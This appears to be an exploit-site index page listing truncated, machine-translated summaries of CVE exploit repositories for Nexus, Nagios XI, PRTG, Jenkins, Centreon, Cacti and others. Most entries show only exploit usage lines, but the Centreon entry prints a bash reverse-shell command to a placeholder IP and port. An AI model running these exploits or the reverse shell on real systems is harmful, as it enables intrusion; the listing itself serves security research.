CVE-2019-5475-EXP

CVE-2019-5475-EXP CVE-2019-5475-EXP 【Vulnerabilidade de execução remota de comandos no Nexus Repository Manager 2.x】 Nome da vulnerabilidade: Vulnerabilidade de execução remota de comandos no Nexus Repository Manager 2.x Descrição da vulnerabilidade: O Nexus Repository Manager 2.X apresenta uma...

CVE-2025-67435

CVE-2025-67436 Execução Remota de Código RCE Autenticada no PluXml CMS 5.8.22 Pesquisador : Chowdhury Faizal Ahammed Instalação root@kitploit: git clone https://github.com/pluxml/PluXml.git cd PluXml ddev config --project-type=php --php-version=8.1 --docroot=. ddev start...

NagiosXI-RCE-all-version-CVE-2021-40345

NagiosXI RCE File-Upload CVE-2021-40345 Da RFI autenticato a RCE per lo sfruttamento di Nagios/NagiosXI Step 1 : Vai alla pagina di gestione dei "dashlets" e scarica uno di loro sto usando "rssdashlet" per l'esempio : root@kitploit: http://TARGETIP/nagiosxi/admin/dashlets.php?download=rssdashlet...

CVE-2025-41373

CVE-2025-41373 – SQL Injection in Gandia Integra Total Autore: Byte Reaper CVE: CVE-2025-41373 Vulnerabilità: SQL Injection autenticata Percorso interessato: /encuestas/integrawebv4/integra/html/view/hislistadoacciones.php?idestudio= Descrizione: Questo endpoint concatena il parametro idestudio...

CVE-2022-37210

CVE-2022-37210 CVE-2022-37210 POC Descrizione suggerita JFinal CMS 5.1.0 è affetto da: SQL Injection. Queste interfacce non utilizzano lo stesso componente, né hanno filtri, ma ciascuna usa il proprio metodo di concatenazione SQL, causando SQL injection. Informazioni aggiuntive...

PRTG-Network-Monitor-18.2.38---Authenticated-Remote-Code-Execution-CVE-2018-9276

Autenticata esecuzione remota di codice in PRTG Network Monitor Basato su https://www.exploit-db.com/exploits/46527 Utilizzo: modifica manualmente lo script per includere l'URL del target, il nome utente admin e la password come segue: root@kitploit: TARGET = "http://10.129.15.52" USER =...

CVE-2021-45010

CVE-2021-45010 🐍 PoC Python inventato per CVE-2021-45010. Tiny File Manager 2.4.7 Utilizzo root@kitploit: usage: main.py -h -u URL -l USERNAME -p PASSWORD -g GUIPATH -r FSRELPATH options: -h, --help show this help message and exit -u URL, --url URL Base URL -l USERNAME, --username USERNAME Userna...

CVE-2019-19699

CVE-2019-19699 Centreon = Commands Miscellaneous Klicken Sie auf Add , wie im Bild unten gezeigt. Wir erstellen nun eine Bash-Reverse-Shell als unseren Miscellaneous-Befehl. root@kitploit: !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 Und klicken Sie auf Save. Nun navigieren wir zu Configuration...

CVE-2024-23897

CVE-2024-23897 Leitura Arbitrária de Ficheiros Autenticada no Jenkins CI Através da CLI Leva à Execução Remota de Código RCE Jenkins é uma ferramenta de DevOps de código aberto autossuficiente para integração contínua/entrega e implantação contínuas CI/CD, escrita na linguagem de programação Java...

CVE-2023-40028

CVE-2023-40028 POC für CVE-2023-40028: Ghost CMS – Beliebiger Dateizugriff Arbitrary File Read Beschreibung Ghost ist ein Open-Source-Content-Management-System. Versionen vor 5.59.1 sind von einer Sicherheitslücke betroffen, die es authentifizierten Benutzern ermöglicht, Dateien hochzuladen, die...

CVE-2023-20273

CVE-2023-20273 CVE-2023-20273 PoC Exploit Utilizzo root@kitploit: usage: exploit.py -h -t URL -u Username -p Password -c Command | -r -dest Outfile -www | -tcp | -null -ip LocalIP -port LocalPort -fs filesystem -path filepath -operation operationtype -v -q CVE-2023-20273 Exploit PoC options: -h,...

POC_CVE-2024-46256

POCCVE-2024-46256 CVE-2024-46256 e CVE-2024-46257 sono lo stesso POC, basta cambiare il parametro provider. Nota A volte il file nc non può essere eseguito sul server o non può eseguire il comando! Installa requisiti root@kitploit: pip install requests Esegui l'exploit root@kitploit: python3...

FuguHub-8.4-Authenticated-RCE-CVE-2024-27697

FuguHub 8.4 RCE autenticata FuguHub è un software Cloud Media Server. La versione testata era la versione Debian a questo link: https://fuguhub.com/articles/FuguHub-for-Debian Un problema in Real Time Logic LLC FuguHub v.8.4 consente a un attaccante locale di eseguire codice arbitrario tramite un...

CVE-2019-15107-Scanner

Webmin CVE-2019-15107 Schwachstellen-Scanner Ein Multi-Threaded Python-Scanner zur Erkennung von Webmin-Servern, die anfällig für CVE-2019-15107 sind authentifizierte RCE-Schwachstelle in Webmin-Versionen 1.890 bis 1.920. Beschreibung Dieses Tool scannt eine Liste von Webmin-Servern im CSV-Format...

CVE-2024-21546

CVE-2024-21546 Python Exploit 🔥 Descrizione Questo script exploit Python ha come bersaglio un vulnerabile Laravel Filemanager creato da UniSharp , che consente agli utenti autenticati di bypassare le restrizioni sui file e caricare file dannosi. Ciò può portare a Esecuzione di codice in remoto RC...

CVE-2020-14295

CVE-2020-14295 CVE-2020-14295 prova di concetto. Il post originale può essere trovato su exploit-db. Requisiti di installazione root@kitploit: python3 -m pip install -r requirements.txt Utilizzo root@kitploit: $ python3 cactisqlirce.py --help usage: cactisqlirce.py -h -t -u -p --lhost --lport Cac...

CVE-2021-42560

CVE-2021-42560: Parsing XML non sicuro in MITRE Caldera Il plugin Debrief in Caldera versioni =2.9.0 riceve parametri "SVG" codificati in base64 quando genera un PDF. Questi SVG vengono analizzati in modo non sicuro e possono essere sfruttati per attacchi XXE ad es. esfiltrazione di file,...

CVE-2022-45701

CVE-2022-45701 Firmware de Roteador Arris 9.1.103 - Exploit de Prova de Conceito PoC de Execução Remota de Código RCE Autenticado...

CVE-2023-34468

CVE-2023-34468 Exploit Panoramica Questo repository fornisce uno strumento di exploit basato su Python per CVE-2023-34468 , una vulnerabilità critica di esecuzione remota di codice CVSS 9.8 nelle versioni di Apache NiFi dalla 0.0.2 alla 1.21.0. Consente agli utenti autenticati di eseguire codice...

CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field

Advisory de Segurança: Camaleon CMS - RCE Autenticado via Campo Personalizado selecteval ID de CVE atribuído: CVE-2026-66748 Produto: Camaleon CMS https://github.com/owen2345/camaleon-cms Versões afetadas: 2.1.1 – 2.9.1 commit que introduziu: 415cbda6 2015-10-16; commit que corrigiu: 15882366...